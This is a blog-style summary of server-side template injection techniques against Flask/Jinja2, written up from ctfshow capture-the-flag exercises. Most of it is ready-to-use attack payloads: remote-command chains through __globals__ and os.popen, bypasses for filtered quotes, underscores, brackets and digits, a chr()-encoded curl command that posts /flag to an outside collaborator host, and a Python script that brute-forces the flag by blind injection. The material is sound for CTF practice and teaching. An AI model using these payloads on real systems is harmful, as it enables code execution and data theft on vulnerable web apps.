当前位置:网站首页>Summary of ctfshow SSTI knowledge points
Summary of ctfshow SSTI knowledge points
2022-08-10 07:18:00 【Yee los Ki1ro】
前言
I haven't had much exposure to template injection before,So I took a day to put it onweb入门的SSTI的题目刷完,Refer to the articles of other big guys,Summarize the knowledge points.
SSTI知识点
基础知识
jinja2官方文档 Template Designer Documentation — Jinja Documentation (2.11.x)
- 常用模块、类、方法等
__class__ 类的一个内置属性,表示实例对象的类. __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类. __subclasses__() 返回这个类的子类集合 __init__ 初始化类,返回的类型是function,通过此方法来调用 __globals__方法 __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量. __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法.事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法.因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性. __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 这里 __builtins__ is the built-in namespace,is a namespace defined by the module itself,There are some built-in functions that we often use in this built-in namespace(i.e. functions that can be called without importing the package)如:print()、str()Also includes some exceptions and other properties. __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块, __str__() 返回描写这个对象的字符串,可以理解成就是打印出来. url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app. get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app. lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{ {lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量. request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置. g { {g}}得到<flask.g of 'flask_ssti'>
- jinjaCommon filter functions Official documentation for filter functions
int():将值转换为int类型; float():将值转换为float类型; lower():将字符串转换为小写; upper():将字符串转换为大写; title():把值中的每个单词的首字母都转成大写; capitalize():把变量值的首字母转成大写,其余字母转小写; trim():截取字符串前面和后面的空白字符; wordcount():计算一个长字符串中单词的个数; reverse():字符串反转; replace(value,old,new): 替换将old替换为new的字符串; truncate(value,length=255,killwords=False):截取length长度的字符串; striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e:转义字符,会将<、>等符号转义成HTML中的符号.显例:content|escape或content|e. safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义.示例: { {'<em>hello</em>'|safe}}; list():将变量列成列表; string():将变量转换成字符串; join():将一个序列中的参数值拼接成字符串.示例看上面payload; abs():返回一个数值的绝对值; first():返回一个序列的第一个元素; last():返回一个序列的最后一个元素; format(value,arags,*kwargs):格式化字符串.比如:{ { "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo! length():返回一个序列或者字典的长度; sum():返回列表内数值的和; sort():返回排序后的列表; default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替.示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代.boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true.也可以使用or来替换. length()返回字符串的长度,别名是count
Common exploit chains
利用__import__
{ {"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} # 注意:__ subclasses __()[75]中的[75]is the location of the subclass,Due to the different classes of the environment the location is also different
利用__builtins__
{ {().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
利用python中的subprocess.Popen()
{ {().__class__.__bases__[0].__subclasses__()[258]("ls",shell=True,stdout=-1).communicate()[0]}}
Take advantage of undefined classes__builtins__
{ {x.__init__.__globals__['__builtins']['eval']("__import__('os').popen('whoami').read()")}} # x可以为a1,aa,absd等,不加引号
通过flask内置方法url_for和get_flashed_messages来利用__builtins__
{ {url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} { {get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
通过flask内置方法lipsum来利用os
{ {lipsum.__globals__['os'].popen('ls').read()}}
通过flaskBuilt-in classes to take advantage of__builtins__或者os
{ {request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()}} { {config.__class__.__init__.__globals__['os'].popen('ls').read()}}
如果不知道具体位置,Can be used for recycling
{% for i in "".__class__.__base__.__subclasses__() %} {% if i.__name__ == '_wrap_close' %} {% for x in i.__init__.__globals__.values() %} {% if x.__class__ == {}.__class__ %} # 筛选出dict类型元素 {% if 'eval' in x.keys() %} { { x['eval']('__import__("os").popen("whoami").read()')}} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
__import__或者__import__Related Available Class Lookup Scripts
search = '__import__' # __builtins__
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
Related filtering and bypass methods
过滤单双引号" '
requestfamily bypass
# request.args.x
?name={
{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
# request.values.x
?name={
{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean =cat /flag
# request.cookies.x
?name={
{lipsum.__globals__.os.popen(request.cookies.ocean).read()}}
Cookie="ocean=cat /flag"
字符串拼接绕过
# 通过__str__()method or by filterstring拼接字符串
?name={
{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
或者
?name={
{url_for.__globals__[(config|string)[2]%2B(config|string)[42]}]}
等于
?name={
{url_for.__globals__['os']}}
# chr拼接字符串
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
# join拼接字符串
{% set ohs=(dict(o=a,s=a)|join) %}
{% print url_for.__globals__[ohs] %}
# selectWith strings
{% set a=(()|select|string)[24]) %}
a => "_"
过滤args
替换为其它request家族
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
Filter square brackets[]
利用getitem绕过
?name={
{url_for.__globals__['os']}}
等于
?name={
{url_for.__globals__.getitem('os')}}
Use dots.绕过
?name={
{url_for.__globals__['os']}}
等于
?name={
{url_for.__globals__.os}}
过滤下划线_
利用过滤器attr绕过 attr官方文档
?name={
{lipsum.__globals__.os.popen("cat /flag").read()}}
等于
?name={
{(lipsum|attr(request.values.a)).os.popen("cat /flag").read()}}&a=__globals__
过滤os
利用get绕过
?name={
{(lipsum|attr(request.values.a)).os.popen("cat /flag").read()}}&a=__globals__
等于
?name={
{(lipsum|attr(request.values.a)).get(request.c).popen("cat /flag").read()}}&a=__globals__&c=os
过滤request
利用{%%}绕过
?name={
{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
等于
?name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
字符串拼接绕过
# 通过__str__()method or by filterstring拼接字符串
?name={
{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
或者
?name={
{url_for.__globals__[(config|string)[2]%2B(config|string)[42]}]}
等于
?name={
{url_for.__globals__['os']}}
# chr拼接字符串
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
# join拼接字符串
{% set ohs=(dict(o=a,s=a)|join) %}
{% print url_for.__globals__[ohs] %}
# selectWith strings
{% set a=(()|select|string)[24]) %}
a => "_"
过滤数字
Use a numberless exploit chain
{
{x.__init__.__globals__['__builtins']['eval']("__import__('os').popen('whoami').read()")}}
{
{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{
{get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
通过length或者count获取数字
length():返回一个序列或者字典的长度;
?name=
{% set c=(dict(e=a)|join|count)%} # c = 1
{% set cc=(dict(ee=a)|join|count)%} # cc = 2
{% set ccc=(dict(eee=a)|join|count)%} # ccc = 3
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
利用index获取数字
index(): 返回字符的索引值
http://965f672b-0325-41b2-af0b-2c72881896c3.chall.ctf.show:8080/?name=
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
# ershisi = 24
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
# liushisi = 64
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(xiegang,dict(flag=z)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %}
过滤print
dns带外
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set ohs=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(108)%2bchr(53)%2bchr(114)%2bchr(118)%2bchr(99)%2bchr(117)%2bchr(51)%2bchr(118)%2bchr(50)%2bchr(114)%2bchr(50)%2bchr(109)%2bchr(97)%2bchr(98)%2bchr(50)%2bchr(117)%2bchr(102)%2bchr(106)%2bchr(102)%2bchr(111)%2bchr(118)%2bchr(109)%2bchr(100)%2bchr(116)%2bchr(113)%2bchr(107)%2bchr(119)%2bchr(99)%2bchr(107)%2bchr(49)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
# cmd = curl -X POST -P [email protected]/flag http://xxxx.xxx.xxx.xxx
{% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%}
abc
{% endif %}
盲注
import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
print(i)
for j in s:
x=flag+j
headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
r=requests.get(url,headers=headers)
#print(r.text)
if("1341" in r.text):
flag=x
print(flag)
break
边栏推荐
- 【8月9日活动预告】Prometheus峰会
- PLSQL学习第二天
- 如何正确理解线程机制中常见的I/O模型,各自主要用来解决什么问题?
- S0:12345:respawn:/bin/start_getty 115200 ttyS0 vt102
- What is an MQTT gateway?What is the difference with traditional DTU?
- 【转】探秘钉钉的即时消息服务DTIM
- 深入理解LTE网络的CDRX
- Please pay attention to me, thank you.
- 自动化测试框架搭建 ---- 标记性能较差用例
- 2022 Henan Mengxin League No. 5: University of Information Engineering B - Transportation Renovation
猜你喜欢
随机推荐
Fiddler(八) - 抓取手机APP的流量-插件Fiddler Orchestra Beta安装&配置
深入理解LTE网络的CDRX
All articles summary directory
MVCC详解
mysql数据库月增长量问题
MySQL database monthly growth problem
WooCommerce installation and rest api usage
【Event Preview on August 9】Prometheus Summit
【Day10】进程管理命令
30条实用MySQL优化法则
【MySQL】SQL语句
MySQL's InnoDB engine (6)
2022 Henan Mengxin League No. 5: University of Information Engineering J-AC Automata
.NET-7.WPF learning experience summary
MySQL事务隔离级别
A few lines of code can crash the system;
SQL建表问题,帮我看看好吗朋友们~大家人。!
人工神经网络模型的特点,人工神经网络模型定义
金融证券 初级 招股书 要求 黑话1刷数 黑话2底稿 黑话3董监高
PLSQL学习第三天